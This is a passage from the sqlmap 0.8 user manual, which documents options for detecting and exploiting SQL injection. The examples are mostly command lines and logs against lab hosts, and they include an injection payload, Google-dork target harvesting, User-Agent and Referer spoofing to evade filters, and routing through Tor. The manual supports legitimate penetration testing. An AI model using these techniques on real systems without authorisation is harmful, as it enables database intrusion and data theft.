web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.0
```

5.2.4 Process Google dork results as target addresses

Option: `-g`

It is also possible to test and inject on `GET` parameters on the results of your Google dork.

This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with `GET` parameters asking you if you want to test and inject on each possible affected URL.

Example of Google dorking with expression `site:yourdomain.com ext:php`:

```
$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1

[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
testable hosts
[hh:mm:41] [INFO] sqlmap got a total of 59 targets
[hh:mm:40] [INFO] url 1:
GET http://yourdomain.com/example1.php?foo=12, do you want to test this
url? [y/N/q] n
[hh:mm:43] [INFO] url 2:
GET http://yourdomain.com/example2.php?bar=24, do you want to test this
url? [y/N/q] n
[hh:mm:42] [INFO] url 3:
GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you
want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]
```

5.2.5 Load options from a configuration INI file

Option: `-c`

It is possible to pass user's options from a configuration INI file, an example is `sqlmap.conf`.

Example usage:

```
$ python sqlmap.py -c "sqlmap.conf"

[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
back-end DBMS:  MySQL >= 5.0.0
```

Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite the same options, if set, in the provided configuration file.

5.3 Request

These options can be used to specify how to connect to the target application.

5.3.1 HTTP method: `GET` or `POST`

Options: `--method` and `--data`

By default the HTTP method used to perform HTTP requests is `GET`, but you can change it to `POST` and provide the data to be sent through `POST` request. Such data, being those parameters, are tested for SQL injection like the `GET` parameters.

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/post_int.php" --method POST \
  --data "id=1"

[hh:mm:53] [INFO] testing connection to the target url
[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:54] [INFO] url is stable
[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
[hh:mm:54] [INFO] POST parameter 'id' is dynamic
[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
[...]
[hh:mm:54] [INFO] testing Oracle
[hh:mm:54] [INFO] retrieved: 9
[hh:mm:54] [INFO] confirming Oracle
[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS:    Oracle
```

5.3.2 HTTP `Cookie` header

Options: `--cookie`, `--cookie-urlencode` and `--drop-set-cookie`

This feature can be useful in two scenarios:

- The web application requires authentication based upon cookies and you have such data.
- You want to test for and exploit SQL injection on such header values.

The steps to go through in the second scenario are the following:

- On Firefox web browser login on the web authentication form while dumping URL requests with TamperData browser's extension.
- In the horizontal box of the extension select your authentication transaction then in the left box on the bottom click with the right button on the `Cookie` value, then click on `Copy` to save its value to the clipboard.
- Go back to your shell and run sqlmap.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/cookie_int.php" --cookie \
  "id=1" -v 1
```

```
[hh:mm:37] [INFO] testing connection to the target url
[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:38] [INFO] url is stable
[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
[...]
```

Note that the HTTP `Cookie` header values are usually separated by a `;` character, **not** by an `&`.

If the web application at first HTTP response has a `Set-Cookie` header, sqlmap will automatically use it's value in all further HTTP requests as the `Cookie` header. sqlmap will also automatically test that value for SQL injection, except if you run it with `-drop-set-cookie` option.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" -v 3

[...]
[hh:mm:39] [INFO] testing connection to the target url
[hh:mm:39] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.128:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
Connection: close

[...]
[hh:mm:40] [INFO] url is stable
[...]
[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
[hh:mm:40] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.128:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Cookie: ASPSESSIONIDSABTRCAS=469
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
[...]
```

If you provide an HTTP `Cookie` header value and the target URL sends an HTTP `Set-Cookie` header, sqlmap asks you which one to use in the following HTTP requests.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" --cookie "id=1"

[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
values that you provided? [Y/n]
```

sqlmap by default doesn't URL encode generated cookie injections, but you can force it by using the `--cookie-urlencode` flag. Cookie content encoding is not declared by standard in any way, so it's solely the matter of web application's behaviour.

5.3.3 HTTP `User-Agent` header

Options: `--user-agent` and `-a`

By default sqlmap perform HTTP requests providing the following HTTP `User-Agent` header value:

```
sqlmap/0.8 (http://sqlmap.sourceforge.net)
```

It is possible to fake it with the `--user-agent` option.

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
  --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

[...]
[hh:mm:02] [INFO] testing connection to the target url
[hh:mm:02] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Connection: close
[...]
```

Providing a text file, `./txt/user-agents.txt` or any other file containing a list of at least one user agent, to the `-a` option, sqlmap will randomly select a `User-Agent` from the file and use it for all HTTP requests.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
  -a "./txt/user-agents.txt"

[hh:mm:00] [DEBUG] initializing the configuration
[hh:mm:00] [DEBUG] initializing the knowledge base
[hh:mm:00] [DEBUG] cleaning up configuration parameters
[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
```

```
[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
[hh:mm:00] [DEBUG] creating HTTP requests opener object
[hh:mm:00] [DEBUG] parsing XML queries file
[hh:mm:00] [INFO] testing connection to the target url
[hh:mm:00] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
Connection: close
[...]
```

Note that the HTTP `User-Agent` header is tested against SQL injection also if you do not overwrite the default sqlmap HTTP `User-Agent` header value.

Some sites perform a server-side check on the HTTP `User-Agent` header value and fail the HTTP response if a valid `User-Agent` is not provided, its value is not expected or its value is blocked by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows:

```
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
to force the HTTP User-Agent header with option --user-agent or -a
```

5.3.4 HTTP `Referer` header

Option: `--referer`

It is possible to fake the HTTP `Referer` header value with this option. By default no HTTP `Referer` header is sent in HTTP requests.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --referer \
  "http://www.google.com" -v 3

[...]
[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Referer: http://www.google.com
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[...]
```

5.3.5 Extra HTTP headers

Option: `--headers`

It is possible to provide extra HTTP headers by providing `--headers` options. Each header must be separated by a newline and it's much easier to provide them from the configuration INI file. Have a look at the sample `sqlmap.conf` file.

5.3.6 HTTP `Basic`, `Digest` and `NTLM` authentications

Options: `--auth-type` and `--auth-cred`

These options can be used to specify which HTTP authentication type the web server implements and the valid credentials to be used to perfom all HTTP requests to the target application. The three valid types are `Basic`, `Digest` and `NTLM`, while the credentials' syntax is `username:password`.

Examples on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/basic/get_int.php?id=1" \
  --auth-type Basic --auth-cred "testuser:testpass" -v 3

[...]
[hh:mm:14] [INFO] testing connection to the target url
[hh:mm:14] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[...]


$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/digest/get_int.php?id=1" \
  --auth-type Digest --auth-cred "testuser:testpass" -v 3

[...]
[hh:mm:54] [INFO] testing connection to the target url
[hh:mm:54] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Authorization: Digest username="testuser", realm="Testing digest authentication",
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[...]
```

5.3.7 HTTP Certificate authentication

Option: `--auth-cert`

This option should be used in cases when the web server requires proper user's certificate for authentication. Supplied values should be in the form: `key_file, cert_file`, where `key_file` should be the name of a PEM formatted file that contains your private key, while `cert_file` should be the name for a PEM formatted certificate chain file.

Example:

```
$ python sqlmap.py -u "http://www.example.com/process.php?id=1" \
  --auth-cert key.pem,cert.pem
[...]
```

5.3.8 HTTP proxy

Option: `--proxy` and `--ignore-proxy`

It is possible to provide an anonymous HTTP proxy address to pass by the HTTP requests to the target URL. The syntax of HTTP proxy value is `http://url:port`.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
  --proxy "http://172.16.213.1:8080"

[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
back-end DBMS:    PostgreSQL
```

Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine as explained on the Tor client guide then run sqlmap as follows:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
  --proxy "http://172.16.213.1:8118"
```

Note that `8118` is the default Privoxy port, adapt it to your settings.

The option `--ignore-proxy` should be used in cases like when you want to run sqlmap against the machine inside a local area network skipping default usage of a system-wide set HTTP proxy server.

5.3.9 Concurrent HTTP requests

Option: `--threads`

It is possible to specify the number of maximum concurrent HTTP requests that sqlmap can start when it uses the blind SQL injection technique to retrieve the query output. This feature relies on the multithreading concept and inherits both its pro and its cons.

Examples on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
  --current-user --threads 3

[...]
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
```

```
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0

[hh:mm:18] [INFO] fetching current user
[hh:mm:18] [INFO] retrieving the length of query output
[hh:mm:18] [INFO] retrieved: 18
[hh:mm:19] [INFO] starting 3 threads
[hh:mm:19] [INFO] retrieved: testuser@localhost
current user:    'testuser@localhost'
```

As you can see, sqlmap first calculates the length of the query output, then starts three threads. Each thread is assigned to retrieve one character of the query output. The thread then ends after up to seven HTTP requests, the maximum requests to retrieve a query output character with the blind SQL injection bisection algorithm implemented in sqlmap.

Note that the multithreading option is not needed if the target is affected by an inband SQL injection vulnerability and the `--union-use` option has been provided.

5.3.10 Delay in seconds between each HTTP request

Option: `--delay`

It is possible to specify a number of seconds to wait between each HTTP request. The valid value is a float, for instance 0.5 means half a second.

5.3.11 Seconds to wait before timeout connection

Option: `--timeout`

It is possible to specify a number of seconds to wait before considering the HTTP request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half.

5.3.12 Maximum number of retries when the HTTP connection timeouts

Option: `--retries`

It is possible to specify the maximum number of retries when the HTTP connection timeouts. By default it retries up to three times.

5.3.13 Filtering targets from provided proxy log using regular expression

Option: `--scope`

Rather than using all hosts parsed from provided logs with option `-l`, in combination with this option you can specify valid python regular expression to be used for filtering desired ones.

Example usage:

```
$ python sqlmap.py -l /tmp/webscarab.log/conversations/ --scope="(www)?\.target\.(com|net|org)"
```

5.4 Injection

These options can be used to specify which parameters to test for, provide custom injection payloads and how to parse and compare HTTP responses page content when using the blind SQL injection technique.

5.4.1 Testable parameter(s)

Option: `-p`

By default sqlmap tests all `GET` parameters, `POST` parameters, HTTP `Cookie` header values and HTTP `User-Agent` header value for dynamicity and SQL injection vulnerability, but it is possible to manually specificy the parameter(s) you want sqlmap to perform tests on comma separeted in order to skip dynamicity tests and perform SQL injection test and inject directly only against the provided parameter(s).

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 \
  -p "id"

[hh:mm:48] [INFO] testing connection to the target url
[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:49] [INFO] GET parameter 'id' is dynamic
[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
[...]
```

Or, if you want to provide more than one parameter, for instance:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
  -p "cat,id"
```

You can also test only the HTTP `User-Agent` header.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/ua_str.php" -v 1 \
  -p "user-agent" --user-agent "sqlmap/0.8 (http://sqlmap.sourceforge.net)"

[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url
[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:41] [INFO] url is stable
[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
```

```
[hh:mm:41] [INFO] testing MySQL
[hh:mm:41] [INFO] retrieved: 44
[hh:mm:41] [INFO] confirming MySQL
[hh:mm:41] [INFO] retrieved: 1
[hh:mm:41] [INFO] retrieved: 4
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
```

5.4.2 Force the database management system name

Option: `--dbms`

By default sqlmap automatically detects the web application's back-end database management system. At the moment, fully supported database management systems are:

- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server

It is possible to force the DBMS name if you already know it so that sqlmap will skip the fingerprint with an exception for MySQL and Microsoft SQL Server to only identify the version. To avoid also this check you can provide instead `MySQL <version>` or `Microsoft SQL Server <version>`, where <version> is a valid version for the DBMS; for instance `5.0` for MySQL and `2005` for Microsoft SQL Server.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 2 \
  --dbms "PostgreSQL"

[...]
[hh:mm:31] [DEBUG] skipping to test for MySQL
[hh:mm:31] [DEBUG] skipping to test for Oracle
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS:    PostgreSQL
```

In case you provide `--fingerprint` together with `--dbms`, sqlmap will only perform the extensive fingerprint for the specified database management system, read below for further details.

Note that this option is **not** mandatory and it is strongly recommended to use it **only if you are absolutely sure** about the back-end database management system. If you do not know it, let sqlmap automatically identify it for you.

5.4.3 Force the database management system operating system name

Option: `--os`

By default sqlmap automatically detects the web application's back-end database management system underlying operating system when requested by any other functionality. At the moment the fully supported operating systems are two:

- Linux
- Windows

It is possible to force the operating system name if you already know it so that sqlmap will skip the fingerprint.

Note that this option is **not** mandatory and it is strongly recommended to use it **only if you are absolutely sure** about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you.

5.4.4 Custom injection payload

Options: `--prefix` and `--postfix`

In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.

Example on a **MySQL 5.0.67** target on a page where the SQL query is: `$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";`:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
  -p "id" --prefix "'" --postfix "AND 'test'='test"

[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]
```

As you can see, the injection payload for testing for custom injection is:

```
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
```

which URL decoded is:

```
id=1') AND 7433=7433 AND ('test'='test
```

and makes the query syntatically correct to the page query:

```
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
```

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

5.4.5 Page comparison

Options: `--string` and `--regexp`

By default the distinction of a True query by a False one (basic concept for Inferential blind SQL injection attacks) is done comparing injected requests page content MD5 hash with the original not injected page content MD5 hash. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisment banner or any other part of the HTML which is render dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap makes it possible to manually provide a string which is **always** present on the not injected page **and** on all True injected query pages, but that it is **not** on the False ones. This can also be achieved by providing a regular expression. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original (not injected) page content with the injected wrong page content to identify which string or regular expression match is on not injected and True page only. This way the distinction will be based upon string presence or regular expression match and not page MD5 hash comparison.

Example on a **MySQL 5.0.67** target on a page which content changes every second due to a call to PHP function `time()`:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
  -v 5

[...]
[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:50] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 172.16.213.131
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:50 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996190</p>

[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 172.16.213.131
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
```

```
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html

<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996191</p>

[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 172.16.213.131
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html

<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html><p>Dynamic content: 1216996191</p>

[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to
the user's manual paragraph 'Page comparison' for details
```

As you can see, the string after `Dynamic content` changes its value every second. In the example it is just a call to PHP `time()` function, but on the real world it is usually much more than that.

Looking at the HTTP responses page content you can see that the first five lines of code do not change at all. So choosing for instance the word `luther` as an output that is on the not injected page content and it is not on the False page content (because the query condition returns no output so `luther` is not displayed on the page content) and passing it to sqlmap, you are able to inject anyway.

Example on a **MySQL 5.0.67** target on a page which content changes every second due to a call to PHP function `time()`:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
  --string "luther" -v 1

[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
```

```
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
```

You can also specify a regular expression to match rather than a string if you prefer.

Example on a **MySQL 5.0.67** target on a page which content changes every second due to a call to PHP function `time()`:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
  --regexp "<td>lu[\w][\w]er" -v 1

[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the provided regular expression matches within the target
URL page content
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
```

As you can see, when one of these options is specified, sqlmap skips the URL stability test.

Consider one of these options a MUST when dealing with a page with content that changes itself at each refresh without modifying the user's input.

5.4.6 Exclude specific page content

Options: `--excl-str` and `--excl-reg`

Another way to get around the dynamicity issue explained above is to exclude the dynamic part from the page content before processing it.

